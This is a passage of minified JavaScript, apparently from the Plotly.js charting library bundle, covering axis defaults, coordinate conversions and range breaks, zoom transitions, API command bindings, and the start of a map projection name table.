p=f("zerolinecolor",r),A=f("zerolinewidth"),m=g("zeroline",t.showGrid||!!p||!!A);m||(delete d.zerolinecolor,delete d.zerolinewidth)}}},52830:function(te,Z,e){var M=e(92770),P=e(71828);te.exports=function(L,S,d,g){var t=g.counterAxes||[],r=g.overlayableAxes||[],f=g.letter,a=g.grid,l=g.overlayingDomain,u,s,y,c,b,h;a&&(s=a._domains[f][a._axisMap[S._id]],u=a._anchors[S._id],s&&(y=a[f+"side"].split(" ")[0],c=a.domain[f][y==="right"||y==="top"?1:0])),s=s||[0,1],u=u||(M(L.position)?"free":t[0]||"free"),y=y||(f==="x"?"bottom":"left"),c=c||0,b=0,h=!1;var i=P.coerce(L,S,{anchor:{valType:"enumerated",values:["free"].concat(t),dflt:u}},"anchor"),v=P.coerce(L,S,{side:{valType:"enumerated",values:f==="x"?["bottom","top"]:["left","right"],dflt:y}},"side");if(i==="free"){if(f==="y"){var T=d("autoshift");T&&(c=v==="left"?l[0]:l[1],h=S.automargin?S.automargin:!0,b=v==="left"?-3:3),d("shift",b)}d("position",c)}d("automargin",h);var w=!1;if(r.length&&(w=P.coerce(L,S,{overlaying:{valType:"enumerated",values:[!1].concat(r),dflt:!1}},"overlaying")),!w){var E=d("domain",s);E[0]>E[1]-.000244140625&&(S.domain=s),P.noneOrAll(L.domain,S.domain,s),S.tickmode==="sync"&&(S.tickmode="auto")}return d("layer"),S}},89426:function(te,Z,e){var M=e(59652);te.exports=function(o,L,S,d,g){g||(g={});var t=g.tickSuffixDflt,r=M(o),f=S("tickprefix");f&&S("showtickprefix",r);var a=S("ticksuffix",t);a&&S("showticksuffix",r)}},42449:function(te,Z,e){var M=e(18783).FROM_BL;te.exports=function(o,L,S){S===void 0&&(S=M[o.constraintoward||"center"]);var d=[o.r2l(o.range[0]),o.r2l(o.range[1])],g=d[0]+(d[1]-d[0])*S;o.range=o._input.range=[o.l2r(g+(d[0]-g)*L),o.l2r(g+(d[1]-g)*L)],o.setScale()}},21994:function(te,Z,e){var M=e(39898),P=e(84096).g0,o=e(71828),L=o.numberFormat,S=e(92770),d=o.cleanNumber,g=o.ms2DateTime,t=o.dateTime2ms,r=o.ensureNumber,f=o.isArrayOrTypedArray,a=e(50606),l=a.FP_SAFE,u=a.BADNUM,s=a.LOG_CLIP,y=a.ONEWEEK,c=a.ONEDAY,b=a.ONEHOUR,h=a.ONEMIN,i=a.ONESEC,v=e(41675),T=e(85555),w=T.HOUR_PATTERN,E=T.WEEKDAY_PATTERN;function p(m){return Math.pow(10,m)}function A(m){return m!=null}te.exports=function(n,C){C=C||{};var x=n._id||"x",I=x.charAt(0);function k(Y,Q){if(Y>0)return Math.log(Y)/Math.LN10;if(Y<=0&&Q&&n.range&&n.range.length===2){var ie=n.range[0],j=n.range[1];return .5*(ie+j-2*s*Math.abs(ie-j))}else return u}function B(Y,Q,ie,j){if((j||{}).msUTC&&S(Y))return+Y;var K=t(Y,ie||n.calendar);if(K===u)if(S(Y)){Y=+Y;var oe=Math.floor(o.mod(Y+.05,1)*10),re=Math.round(Y-oe/10);K=t(new Date(re))+oe/10}else return u;return K}function _(Y,Q,ie){return g(Y,Q,ie||n.calendar)}function F(Y){return n._categories[Math.round(Y)]}function O(Y){if(A(Y)){if(n._categoriesMap===void 0&&(n._categoriesMap={}),n._categoriesMap[Y]!==void 0)return n._categoriesMap[Y];n._categories.push(typeof Y=="number"?String(Y):Y);var Q=n._categories.length-1;return n._categoriesMap[Y]=Q,Q}return u}function z(Y,Q){for(var ie=new Array(Q),j=0;j<Q;j++){var K=(Y[0]||[])[j],oe=(Y[1]||[])[j];ie[j]=N([K,oe])}return ie}function N(Y){if(n._categoriesMap)return n._categoriesMap[Y]}function G(Y){var Q=N(Y);if(Q!==void 0)return Q;if(S(Y))return+Y}function J(Y){return S(Y)?+Y:N(Y)}function q(Y,Q,ie){return M.round(ie+Q*Y,2)}function ne(Y,Q,ie){return(Y-ie)/Q}var fe=function(Q){return S(Q)?q(Q,n._m,n._b):u},X=function(Y){return ne(Y,n._m,n._b)};if(n.rangebreaks){var W=I==="y";fe=function(Y){if(!S(Y))return u;var Q=n._rangebreaks.length;if(!Q)return q(Y,n._m,n._b);var ie=W;n.range[0]>n.range[1]&&(ie=!ie);for(var j=ie?-1:1,K=j*Y,oe=0,re=0;re<Q;re++){var le=j*n._rangebreaks[re].min,pe=j*n._rangebreaks[re].max;if(K<le)break;if(K>pe)oe=re+1;else{oe=K<(le+pe)/2?re:re+1;break}}var we=n._B[oe]||0;return isFinite(we)?q(Y,n._m2,we):0},X=function(Y){var Q=n._rangebreaks.length;if(!Q)return ne(Y,n._m,n._b);for(var ie=0,j=0;j<Q&&!(Y<n._rangebreaks[j].pmin);j++)Y>n._rangebreaks[j].pmax&&(ie=j+1);return ne(Y,n._m2,n._B[ie])}}n.c2l=n.type==="log"?k:r,n.l2c=n.type==="log"?p:r,n.l2p=fe,n.p2l=X,n.c2p=n.type==="log"?function(Y,Q){return fe(k(Y,Q))}:fe,n.p2c=n.type==="log"?function(Y){return p(X(Y))}:X,["linear","-"].indexOf(n.type)!==-1?(n.d2r=n.r2d=n.d2c=n.r2c=n.d2l=n.r2l=d,n.c2d=n.c2r=n.l2d=n.l2r=r,n.d2p=n.r2p=function(Y){return n.l2p(d(Y))},n.p2d=n.p2r=X,n.cleanPos=r):n.type==="log"?(n.d2r=n.d2l=function(Y,Q){return k(d(Y),Q)},n.r2d=n.r2c=function(Y){return p(d(Y))},n.d2c=n.r2l=d,n.c2d=n.l2r=r,n.c2r=k,n.l2d=p,n.d2p=function(Y,Q){return n.l2p(n.d2r(Y,Q))},n.p2d=function(Y){return p(X(Y))},n.r2p=function(Y){return n.l2p(d(Y))},n.p2r=X,n.cleanPos=r):n.type==="date"?(n.d2r=n.r2d=o.identity,n.d2c=n.r2c=n.d2l=n.r2l=B,n.c2d=n.c2r=n.l2d=n.l2r=_,n.d2p=n.r2p=function(Y,Q,ie){return n.l2p(B(Y,0,ie))},n.p2d=n.p2r=function(Y,Q,ie){return _(X(Y),Q,ie)},n.cleanPos=function(Y){return o.cleanDate(Y,u,n.calendar)}):n.type==="category"?(n.d2c=n.d2l=O,n.r2d=n.c2d=n.l2d=F,n.d2r=n.d2l_noadd=G,n.r2c=function(Y){var Q=J(Y);return Q!==void 0?Q:n.fraction2r(.5)},n.l2r=n.c2r=r,n.r2l=J,n.d2p=function(Y){return n.l2p(n.r2c(Y))},n.p2d=function(Y){return F(X(Y))},n.r2p=n.d2p,n.p2r=X,n.cleanPos=function(Y){return typeof Y=="string"&&Y!==""?Y:r(Y)}):n.type==="multicategory"&&(n.r2d=n.c2d=n.l2d=F,n.d2r=n.d2l_noadd=G,n.r2c=function(Y){var Q=G(Y);return Q!==void 0?Q:n.fraction2r(.5)},n.r2c_just_indices=N,n.l2r=n.c2r=r,n.r2l=G,n.d2p=function(Y){return n.l2p(n.r2c(Y))},n.p2d=function(Y){return F(X(Y))},n.r2p=n.d2p,n.p2r=X,n.cleanPos=function(Y){return Array.isArray(Y)||typeof Y=="string"&&Y!==""?Y:r(Y)},n.setupMultiCategory=function(Y){var Q=n._traceIndices,ie,j,K=n._matchGroup;if(K&&n._categories.length===0){for(var oe in K)if(oe!==x){var re=C[v.id2name(oe)];Q=Q.concat(re._traceIndices)}}var le=[[0,{}],[0,{}]],pe=[];for(ie=0;ie<Q.length;ie++){var we=Y[Q[ie]];if(I in we){var xe=we[I],ke=we._length||o.minRowLength(xe);if(f(xe[0])&&f(xe[1]))for(j=0;j<ke;j++){var _e=xe[0][j],be=xe[1][j];A(_e)&&A(be)&&(pe.push([_e,be]),_e in le[0][1]||(le[0][1][_e]=le[0][0]++),be in le[1][1]||(le[1][1][be]=le[1][0]++))}}}for(pe.sort(function(ge,Te){var Fe=le[0][1],Oe=Fe[ge[0]]-Fe[Te[0]];if(Oe)return Oe;var Ce=le[1][1];return Ce[ge[1]]-Ce[Te[1]]}),ie=0;ie<pe.length;ie++)O(pe[ie])}),n.fraction2r=function(Y){var Q=n.r2l(n.range[0]),ie=n.r2l(n.range[1]);return n.l2r(Q+Y*(ie-Q))},n.r2fraction=function(Y){var Q=n.r2l(n.range[0]),ie=n.r2l(n.range[1]);return(n.r2l(Y)-Q)/(ie-Q)},n.cleanRange=function(Y,Q){Q||(Q={}),Y||(Y="range");var ie=o.nestedProperty(n,Y).get(),j,K;if(n.type==="date"?K=o.dfltRange(n.calendar):I==="y"?K=T.DFLTRANGEY:n._name==="realaxis"?K=[0,1]:K=Q.dfltRange||T.DFLTRANGEX,K=K.slice(),(n.rangemode==="tozero"||n.rangemode==="nonnegative")&&(K[0]=0),!ie||ie.length!==2){o.nestedProperty(n,Y).set(K);return}for(n.type==="date"&&!n.autorange&&(ie[0]=o.cleanDate(ie[0],u,n.calendar),ie[1]=o.cleanDate(ie[1],u,n.calendar)),j=0;j<2;j++)if(n.type==="date"){if(!o.isDateTime(ie[j],n.calendar)){n[Y]=K;break}if(n.r2l(ie[0])===n.r2l(ie[1])){var oe=o.constrain(n.r2l(ie[0]),o.MIN_MS+1e3,o.MAX_MS-1e3);ie[0]=n.l2r(oe-1e3),ie[1]=n.l2r(oe+1e3);break}}else{if(!S(ie[j]))if(S(ie[1-j]))ie[j]=ie[1-j]*(j?10:.1);else{n[Y]=K;break}if(ie[j]<-l?ie[j]=-l:ie[j]>l&&(ie[j]=l),ie[0]===ie[1]){var re=Math.max(1,Math.abs(ie[0]*1e-6));ie[0]-=re,ie[1]+=re}}},n.setScale=function(Y){var Q=C._size;if(n.overlaying){var ie=v.getFromId({_fullLayout:C},n.overlaying);n.domain=ie.domain}var j=Y&&n._r?"_r":"range",K=n.calendar;n.cleanRange(j);var oe=n.r2l(n[j][0],K),re=n.r2l(n[j][1],K),le=I==="y";if(le?(n._offset=Q.t+(1-n.domain[1])*Q.h,n._length=Q.h*(n.domain[1]-n.domain[0]),n._m=n._length/(oe-re),n._b=-n._m*re):(n._offset=Q.l+n.domain[0]*Q.w,n._length=Q.w*(n.domain[1]-n.domain[0]),n._m=n._length/(re-oe),n._b=-n._m*oe),n._rangebreaks=[],n._lBreaks=0,n._m2=0,n._B=[],n.rangebreaks){var pe,we;if(n._rangebreaks=n.locateBreaks(Math.min(oe,re),Math.max(oe,re)),n._rangebreaks.length){for(pe=0;pe<n._rangebreaks.length;pe++)we=n._rangebreaks[pe],n._lBreaks+=Math.abs(we.max-we.min);var xe=le;oe>re&&(xe=!xe),xe&&n._rangebreaks.reverse();var ke=xe?-1:1;for(n._m2=ke*n._length/(Math.abs(re-oe)-n._lBreaks),n._B.push(-n._m2*(le?re:oe)),pe=0;pe<n._rangebreaks.length;pe++)we=n._rangebreaks[pe],n._B.push(n._B[n._B.length-1]-ke*n._m2*(we.max-we.min));for(pe=0;pe<n._rangebreaks.length;pe++)we=n._rangebreaks[pe],we.pmin=fe(we.min),we.pmax=fe(we.max)}}if(!isFinite(n._m)||!isFinite(n._b)||n._length<0)throw C._replotting=!1,new Error("Something went wrong with axis scaling")},n.maskBreaks=function(Y){var Q=n.rangebreaks||[],ie,j,K,oe,re;Q._cachedPatterns||(Q._cachedPatterns=Q.map(function(Fe){return Fe.enabled&&Fe.bounds?o.simpleMap(Fe.bounds,Fe.pattern?d:n.d2c):null})),Q._cachedValues||(Q._cachedValues=Q.map(function(Fe){return Fe.enabled&&Fe.values?o.simpleMap(Fe.values,n.d2c).sort(o.sorterAsc):null}));for(var le=0;le<Q.length;le++){var pe=Q[le];if(pe.enabled){if(pe.bounds){var we=pe.pattern;switch(ie=Q._cachedPatterns[le],j=ie[0],K=ie[1],we){case E:re=new Date(Y),oe=re.getUTCDay(),j>K&&(K+=7,oe<j&&(oe+=7));break;case w:re=new Date(Y);var xe=re.getUTCHours(),ke=re.getUTCMinutes(),_e=re.getUTCSeconds(),be=re.getUTCMilliseconds();oe=xe+(ke/60+_e/3600+be/36e5),j>K&&(K+=24,oe<j&&(oe+=24));break;case"":oe=Y;break}if(oe>=j&&oe<K)return u}else for(var ge=Q._cachedValues[le],Te=0;Te<ge.length;Te++)if(j=ge[Te],K=j+pe.dvalue,Y>=j&&Y<K)return u}}return Y},n.locateBreaks=function(Y,Q){var ie,j,K,oe,re=[];if(!n.rangebreaks)return re;var le=n.rangebreaks.slice().sort(function(Ce,Be){return Ce.pattern===E&&Be.pattern===w?-1:Be.pattern===E&&Ce.pattern===w?1:0}),pe=function(Ce,Be){if(Ce=o.constrain(Ce,Y,Q),Be=o.constrain(Be,Y,Q),Ce!==Be){for(var $e=!0,Xe=0;Xe<re.length;Xe++){var Ze=re[Xe];Ce<Ze.max&&Be>=Ze.min&&(Ce<Ze.min&&(Ze.min=Ce),Be>Ze.max&&(Ze.max=Be),$e=!1)}$e&&re.push({min:Ce,max:Be})}};for(ie=0;ie<le.length;ie++){var we=le[ie];if(we.enabled)if(we.bounds){var xe=Y,ke=Q;we.pattern&&(xe=Math.floor(xe)),j=o.simpleMap(we.bounds,we.pattern?d:n.r2l),K=j[0],oe=j[1];var _e=new Date(xe),be,ge;switch(we.pattern){case E:ge=y,be=((oe<K?7:0)+(oe-K))*c,xe+=K*c-(_e.getUTCDay()*c+_e.getUTCHours()*b+_e.getUTCMinutes()*h+_e.getUTCSeconds()*i+_e.getUTCMilliseconds());break;case w:ge=c,be=((oe<K?24:0)+(oe-K))*b,xe+=K*b-(_e.getUTCHours()*b+_e.getUTCMinutes()*h+_e.getUTCSeconds()*i+_e.getUTCMilliseconds());break;default:xe=Math.min(j[0],j[1]),ke=Math.max(j[0],j[1]),ge=ke-xe,be=ge}for(var Te=xe;Te<ke;Te+=ge)pe(Te,Te+be)}else for(var Fe=o.simpleMap(we.values,n.d2c),Oe=0;Oe<Fe.length;Oe++)K=Fe[Oe],oe=K+we.dvalue,pe(K,oe)}return re.sort(function(Ce,Be){return Ce.min-Be.min}),re},n.makeCalcdata=function(Y,Q,ie){var j,K,oe,re,le=n.type,pe=le==="date"&&Y[Q+"calendar"];if(Q in Y){if(j=Y[Q],re=Y._length||o.minRowLength(j),o.isTypedArray(j)&&(le==="linear"||le==="log")){if(re===j.length)return j;if(j.subarray)return j.subarray(0,re)}if(le==="multicategory")return z(j,re);for(K=new Array(re),oe=0;oe<re;oe++)K[oe]=n.d2c(j[oe],0,pe,ie)}else{var we=Q+"0"in Y?n.d2c(Y[Q+"0"],0,pe):0,xe=Y["d"+Q]?Number(Y["d"+Q]):1;for(j=Y[{x:"y",y:"x"}[Q]],re=Y._length||j.length,K=new Array(re),oe=0;oe<re;oe++)K[oe]=we+oe*xe}if(n.rangebreaks)for(oe=0;oe<re;oe++)K[oe]=n.maskBreaks(K[oe]);return K},n.isValidRange=function(Y){return Array.isArray(Y)&&Y.length===2&&S(n.r2l(Y[0]))&&S(n.r2l(Y[1]))},n.isPtWithinRange=function(Y,Q){var ie=n.c2l(Y[I],null,Q),j=n.r2l(n.range[0]),K=n.r2l(n.range[1]);return j<K?j<=ie&&ie<=K:K<=ie&&ie<=j},n._emptyCategories=function(){n._categories=[],n._categoriesMap={}},n.clearCalc=function(){var Y=n._matchGroup;if(Y){var Q=null,ie=null;for(var j in Y){var K=C[v.id2name(j)];if(K._categories){Q=K._categories,ie=K._categoriesMap;break}}Q&&ie?(n._categories=Q,n._categoriesMap=ie):n._emptyCategories()}else n._emptyCategories();if(n._initialCategories)for(var oe=0;oe<n._initialCategories.length;oe++)O(n._initialCategories[oe])},n.sortByInitialCategories=function(){var Y=[];if(n._emptyCategories(),n._initialCategories)for(var Q=0;Q<n._initialCategories.length;Q++)O(n._initialCategories[Q]);Y=Y.concat(n._traceIndices);var ie=n._matchGroup;for(var j in ie)if(x!==j){var K=C[v.id2name(j)];K._categories=n._categories,K._categoriesMap=n._categoriesMap,Y=Y.concat(K._traceIndices)}return Y};var V=C._d3locale;n.type==="date"&&(n._dateFormat=V?V.timeFormat:P,n._extraFormat=C._extraFormat),n._separators=C.separators,n._numFormat=V?V.numberFormat:L,delete n._minDtick,delete n._forceTick0}},59652:function(te){te.exports=function(e){var M=["showexponent","showtickprefix","showticksuffix"],P=M.filter(function(L){return e[L]!==void 0}),o=function(L){return e[L]===e[P[0]]};if(P.every(o)||P.length===1)return e[P[0]]}},96115:function(te,Z,e){var M=e(71828),P=e(7901).contrast,o=e(13838),L=e(59652),S=e(85501);te.exports=function(t,r,f,a,l){l||(l={});var u=f("labelalias");M.isPlainObject(u)||delete r.labelalias;var s=L(t),y=f("showticklabels");if(y){var c=l.font||{},b=r.color,h=r.ticklabelposition||"",i=h.indexOf("inside")!==-1?P(l.bgColor):b&&b!==o.color.dflt?b:c.color;if(M.coerceFont(f,"tickfont",{family:c.family,size:c.size,color:i}),!l.noTicklabelstep&&a!=="multicategory"&&a!=="log"&&f("ticklabelstep"),l.noAng||f("tickangle"),a!=="category"){var v=f("tickformat");S(t,r,{name:"tickformatstops",inclusionAttr:"enabled",handleItemDefaults:d}),r.tickformatstops.length||delete r.tickformatstops,!l.noExp&&!v&&a!=="date"&&(f("showexponent",s),f("exponentformat"),f("minexponent"),f("separatethousands"))}}};function d(g,t){function r(a,l){return M.coerce(g,t,o.tickformatstops,a,l)}var f=r("enabled");f&&(r("dtickrange"),r("value"))}},38701:function(te,Z,e){var M=e(71828),P=e(13838);te.exports=function(L,S,d,g){var t=g.isMinor,r=t?L.minor||{}:L,f=t?S.minor:S,a=t?P.minor:P,l=t?"minor.":"",u=M.coerce2(r,f,a,"ticklen",t?(S.ticklen||5)*.6:void 0),s=M.coerce2(r,f,a,"tickwidth",t?S.tickwidth||1:void 0),y=M.coerce2(r,f,a,"tickcolor",(t?S.tickcolor:void 0)||f.color),c=d(l+"ticks",!t&&g.outerTicks||u||s||y?"outside":"");c||(delete f.ticklen,delete f.tickwidth,delete f.tickcolor)}},26218:function(te,Z,e){var M=e(66287),P=e(71828).isArrayOrTypedArray;te.exports=function(L,S,d,g,t){t||(t={});var r=t.isMinor,f=r?L.minor||{}:L,a=r?S.minor:S,l=r?"minor.":"";function u(T){var w=f[T];return w!==void 0?w:(a._template||{})[T]}var s=u("tick0"),y=u("dtick"),c=u("tickvals"),b=P(c)?"array":y?"linear":"auto",h=d(l+"tickmode",b);if(h==="auto"||h==="sync")d(l+"nticks");else if(h==="linear"){var i=a.dtick=M.dtick(y,g);a.tick0=M.tick0(s,g,S.calendar,i)}else if(g!=="multicategory"){var v=d(l+"tickvals");v===void 0?a.tickmode="auto":r||d("ticktext")}}},66847:function(te,Z,e){var M=e(39898),P=e(73972),o=e(71828),L=e(91424),S=e(89298);te.exports=function(g,t,r,f){var a=g._fullLayout;if(t.length===0){S.redrawComponents(g);return}function l(w){var E=w.xaxis,p=w.yaxis;a._defs.select("#"+w.clipId+"> rect").call(L.setTranslate,0,0).call(L.setScale,1,1),w.plot.call(L.setTranslate,E._offset,p._offset).call(L.setScale,1,1);var A=w.plot.selectAll(".scatterlayer .trace");A.selectAll(".point").call(L.setPointGroupScale,1,1),A.selectAll(".textpoint").call(L.setTextPointsScale,1,1),A.call(L.hideOutsideRangePoints,w)}function u(w,E){var p=w.plotinfo,A=p.xaxis,m=p.yaxis,n=A._length,C=m._length,x=!!w.xr1,I=!!w.yr1,k=[];if(x){var B=o.simpleMap(w.xr0,A.r2l),_=o.simpleMap(w.xr1,A.r2l),F=B[1]-B[0],O=_[1]-_[0];k[0]=(B[0]*(1-E)+E*_[0]-B[0])/(B[1]-B[0])*n,k[2]=n*(1-E+E*O/F),A.range[0]=A.l2r(B[0]*(1-E)+E*_[0]),A.range[1]=A.l2r(B[1]*(1-E)+E*_[1])}else k[0]=0,k[2]=n;if(I){var z=o.simpleMap(w.yr0,m.r2l),N=o.simpleMap(w.yr1,m.r2l),G=z[1]-z[0],J=N[1]-N[0];k[1]=(z[1]*(1-E)+E*N[1]-z[1])/(z[0]-z[1])*C,k[3]=C*(1-E+E*J/G),m.range[0]=A.l2r(z[0]*(1-E)+E*N[0]),m.range[1]=m.l2r(z[1]*(1-E)+E*N[1])}else k[1]=0,k[3]=C;S.drawOne(g,A,{skipTitle:!0}),S.drawOne(g,m,{skipTitle:!0}),S.redrawComponents(g,[A._id,m._id]);var q=x?n/k[2]:1,ne=I?C/k[3]:1,fe=x?k[0]:0,X=I?k[1]:0,W=x?k[0]/k[2]*n:0,V=I?k[1]/k[3]*C:0,Y=A._offset-W,Q=m._offset-V;p.clipRect.call(L.setTranslate,fe,X).call(L.setScale,1/q,1/ne),p.plot.call(L.setTranslate,Y,Q).call(L.setScale,q,ne),L.setPointGroupScale(p.zoomScalePts,1/q,1/ne),L.setTextPointsScale(p.zoomScaleTxt,1/q,1/ne)}var s;f&&(s=f());function y(){for(var w={},E=0;E<t.length;E++){var p=t[E],A=p.plotinfo.xaxis,m=p.plotinfo.yaxis;p.xr1&&(w[A._name+".range"]=p.xr1.slice()),p.yr1&&(w[m._name+".range"]=p.yr1.slice())}return s&&s(),P.call("relayout",g,w).then(function(){for(var n=0;n<t.length;n++)l(t[n].plotinfo)})}function c(){for(var w={},E=0;E<t.length;E++){var p=t[E],A=p.plotinfo.xaxis,m=p.plotinfo.yaxis;p.xr0&&(w[A._name+".range"]=p.xr0.slice()),p.yr0&&(w[m._name+".range"]=p.yr0.slice())}return P.call("relayout",g,w).then(function(){for(var n=0;n<t.length;n++)l(t[n].plotinfo)})}var b,h,i,v=M.ease(r.easing);g._transitionData._interruptCallbacks.push(function(){return window.cancelAnimationFrame(i),i=null,c()});function T(){h=Date.now();for(var w=Math.min(1,(h-b)/r.duration),E=v(w),p=0;p<t.length;p++)u(t[p],E);h-b>r.duration?(y(),i=window.cancelAnimationFrame(T)):i=window.requestAnimationFrame(T)}return b=Date.now(),i=window.requestAnimationFrame(T),Promise.resolve()}},951:function(te,Z,e){var M=e(73972).traceIs,P=e(4322);te.exports=function(t,r,f,a){f("autotypenumbers",a.autotypenumbersDflt);var l=f("type",(a.splomStash||{}).type);l==="-"&&(o(r,a.data),r.type==="-"?r.type="linear":t.type=r.type)};function o(g,t){if(g.type==="-"){var r=g._id,f=r.charAt(0),a;r.indexOf("scene")!==-1&&(r=f);var l=L(t,r,f);if(l){if(l.type==="histogram"&&f==={v:"y",h:"x"}[l.orientation||"v"]){g.type="linear";return}var u=f+"calendar",s=l[u],y={noMultiCategory:!M(l,"cartesian")||M(l,"noMultiCategory")};if(l.type==="box"&&l._hasPreCompStats&&f==={h:"x",v:"y"}[l.orientation||"v"]&&(y.noMultiCategory=!0),y.autotypenumbers=g.autotypenumbers,d(l,f)){var c=S(l),b=[];for(a=0;a<t.length;a++){var h=t[a];!M(h,"box-violin")||(h[f+"axis"]||f)!==r||(h[c]!==void 0?b.push(h[c][0]):h.name!==void 0?b.push(h.name):b.push("text"),h[u]!==s&&(s=void 0))}g.type=P(b,s,y)}else if(l.type==="splom"){var i=l.dimensions,v=i[l._axesDim[r]];v.visible&&(g.type=P(v.values,s,y))}else g.type=P(l[f]||[l[f+"0"]],s,y)}}}function L(g,t,r){for(var f=0;f<g.length;f++){var a=g[f];if(a.type==="splom"&&a._length>0&&(a["_"+r+"axes"]||{})[t])return a;if((a[r+"axis"]||r)===t){if(d(a,r))return a;if((a[r]||[]).length||a[r+"0"])return a}}}function S(g){return{v:"x",h:"y"}[g.orientation||"v"]}function d(g,t){var r=S(g),f=M(g,"box-violin"),a=M(g._fullInput||{},"candlestick");return f&&!a&&t===r&&g[r]===void 0&&g[r+"0"]===void 0}},31137:function(te,Z,e){var M=e(73972),P=e(71828);Z.manageCommandObserver=function(t,r,f,a){var l={},u=!0;r&&r._commandObserver&&(l=r._commandObserver),l.cache||(l.cache={}),l.lookupTable={};var s=Z.hasSimpleAPICommandBindings(t,f,l.lookupTable);if(r&&r._commandObserver){if(s)return l;if(r._commandObserver.remove)return r._commandObserver.remove(),r._commandObserver=null,l}if(s){o(t,s,l.cache),l.check=function(){if(u){var h=o(t,s,l.cache);return h.changed&&a&&l.lookupTable[h.value]!==void 0&&(l.disable(),Promise.resolve(a({value:h.value,type:s.type,prop:s.prop,traces:s.traces,index:l.lookupTable[h.value]})).then(l.enable,l.enable)),h.changed}};for(var y=["plotly_relayout","plotly_redraw","plotly_restyle","plotly_update","plotly_animatingframe","plotly_afterplot"],c=0;c<y.length;c++)t._internalOn(y[c],l.check);l.remove=function(){for(var b=0;b<y.length;b++)t._removeInternalListener(y[b],l.check)}}else P.log("Unable to automatically bind plot updates to API command"),l.lookupTable={},l.remove=function(){};return l.disable=function(){u=!1},l.enable=function(){u=!0},r&&(r._commandObserver=l),l},Z.hasSimpleAPICommandBindings=function(t,r,f){var a,l=r.length,u;for(a=0;a<l;a++){var s,y=r[a],c=y.method,b=y.args;if(Array.isArray(b)||(b=[]),!c)return!1;var h=Z.computeAPICommandBindings(t,c,b);if(h.length!==1)return!1;if(!u)u=h[0],Array.isArray(u.traces)&&u.traces.sort();else{if(s=h[0],s.type!==u.type||s.prop!==u.prop)return!1;if(Array.isArray(u.traces))if(Array.isArray(s.traces)){s.traces.sort();for(var i=0;i<u.traces.length;i++)if(u.traces[i]!==s.traces[i])return!1}else return!1;else if(s.prop!==u.prop)return!1}s=h[0];var v=s.value;if(Array.isArray(v))if(v.length===1)v=v[0];else return!1;f&&(f[v]=a)}return u};function o(t,r,f){var a,l,u,s=!1;if(r.type==="data")a=t._fullData[r.traces!==null?r.traces[0]:0];else if(r.type==="layout")a=t._fullLayout;else return!1;return l=P.nestedProperty(a,r.prop).get(),u=f[r.type]=f[r.type]||{},u.hasOwnProperty(r.prop)&&u[r.prop]!==l&&(s=!0),u[r.prop]=l,{changed:s,value:l}}Z.executeAPICommand=function(t,r,f){if(r==="skip")return Promise.resolve();var a=M.apiMethodRegistry[r],l=[t];Array.isArray(f)||(f=[]);for(var u=0;u<f.length;u++)l.push(f[u]);return a.apply(null,l).catch(function(s){return P.warn("API call to Plotly."+r+" rejected.",s),Promise.reject(s)})},Z.computeAPICommandBindings=function(t,r,f){var a;switch(Array.isArray(f)||(f=[]),r){case"restyle":a=d(t,f);break;case"relayout":a=S(t,f);break;case"update":a=d(t,[f[0],f[2]]).concat(S(t,[f[1]]));break;case"animate":a=L(t,f);break;default:a=[]}return a};function L(t,r){return Array.isArray(r[0])&&r[0].length===1&&["string","number"].indexOf(typeof r[0][0])!==-1?[{type:"layout",prop:"_currentFrame",value:r[0][0].toString()}]:[]}function S(t,r){var f=[],a=r[0],l={};if(typeof a=="string")l[a]=r[1];else if(P.isPlainObject(a))l=a;else return f;return g(l,function(u,s,y){f.push({type:"layout",prop:u,value:y})},"",0),f}function d(t,r){var f,a,l,u,s=[];if(a=r[0],l=r[1],f=r[2],u={},typeof a=="string")u[a]=l;else if(P.isPlainObject(a))u=a,f===void 0&&(f=l);else return s;return f===void 0&&(f=null),g(u,function(y,c,b){var h,i;if(Array.isArray(b)){i=b.slice();var v=Math.min(i.length,t.data.length);f&&(v=Math.min(v,f.length)),h=[];for(var T=0;T<v;T++)h[T]=f?f[T]:T}else i=b,h=f?f.slice():null;if(h===null)Array.isArray(i)&&(i=i[0]);else if(Array.isArray(h)){if(!Array.isArray(i)){var w=i;i=[];for(var E=0;E<h.length;E++)i[E]=w}i.length=Math.min(h.length,i.length)}s.push({type:"data",prop:y,traces:h,value:i})},"",0),s}function g(t,r,f,a){Object.keys(t).forEach(function(l){var u=t[l];if(l[0]!=="_"){var s=f+(a>0?".":"")+l;P.isPlainObject(u)?g(u,r,s,a+1):r(s,l,u)}})}},27670:function(te,Z,e){var M=e(1426).extendFlat;Z.Y=function(P,o){P=P||{},o=o||{};var L={valType:"info_array",editType:P.editType,items:[{valType:"number",min:0,max:1,editType:P.editType},{valType:"number",min:0,max:1,editType:P.editType}],dflt:[0,1]};P.name&&P.name+"",P.trace,o.description&&""+o.description;var S={x:M({},L,{}),y:M({},L,{}),editType:P.editType};return P.noGridCell||(S.row={valType:"integer",min:0,dflt:0,editType:P.editType},S.column={valType:"integer",min:0,dflt:0,editType:P.editType}),S},Z.c=function(P,o,L,S){var d=S&&S.x||[0,1],g=S&&S.y||[0,1],t=o.grid;if(t){var r=L("domain.column");r!==void 0&&(r<t.columns?d=t._domains.x[r]:delete P.domain.column);var f=L("domain.row");f!==void 0&&(f<t.rows?g=t._domains.y[f]:delete P.domain.row)}var a=L("domain.x",d),l=L("domain.y",g);a[0]<a[1]||(P.domain.x=d.slice()),l[0]<l[1]||(P.domain.y=g.slice())}},41940:function(te){te.exports=function(Z){var e=Z.editType,M=Z.colorEditType;M===void 0&&(M=e);var P={family:{valType:"string",noBlank:!0,strict:!0,editType:e},size:{valType:"number",min:1,editType:e},color:{valType:"color",editType:M},editType:e};return Z.autoSize&&(P.size.dflt="auto"),Z.autoColor&&(P.color.dflt="auto"),Z.arrayOk&&(P.family.arrayOk=!0,P.size.arrayOk=!0,P.color.arrayOk=!0),P}},31391:function(te){te.exports={_isLinkedToArray:"frames_entry",group:{valType:"string"},name:{valType:"string"},traces:{valType:"any"},baseframe:{valType:"string"},data:{valType:"any"},layout:{valType:"any"}}},78776:function(te,Z){Z.projNames={airy:"airy",aitoff:"aitoff","albers usa":"albersUsa",albers:"albers",august:"august","azimuthal equal area":"azimuthalEqualArea","azimuthal equidistant":"azimuthalEquidistant",baker:"baker",bertin1953:"bertin1953",boggs:"boggs",bonne:"bonne",bottomley:"bottomley",bromley:"bromley",collignon:"collignon","conic conformal":"conicConformal","conic equal area":"conicEqualArea","conic equidistant":"conicEquidistant",craig:"craig",craster:"craster","cylindrical equal area":"cylindricalEqualArea","cylindrical 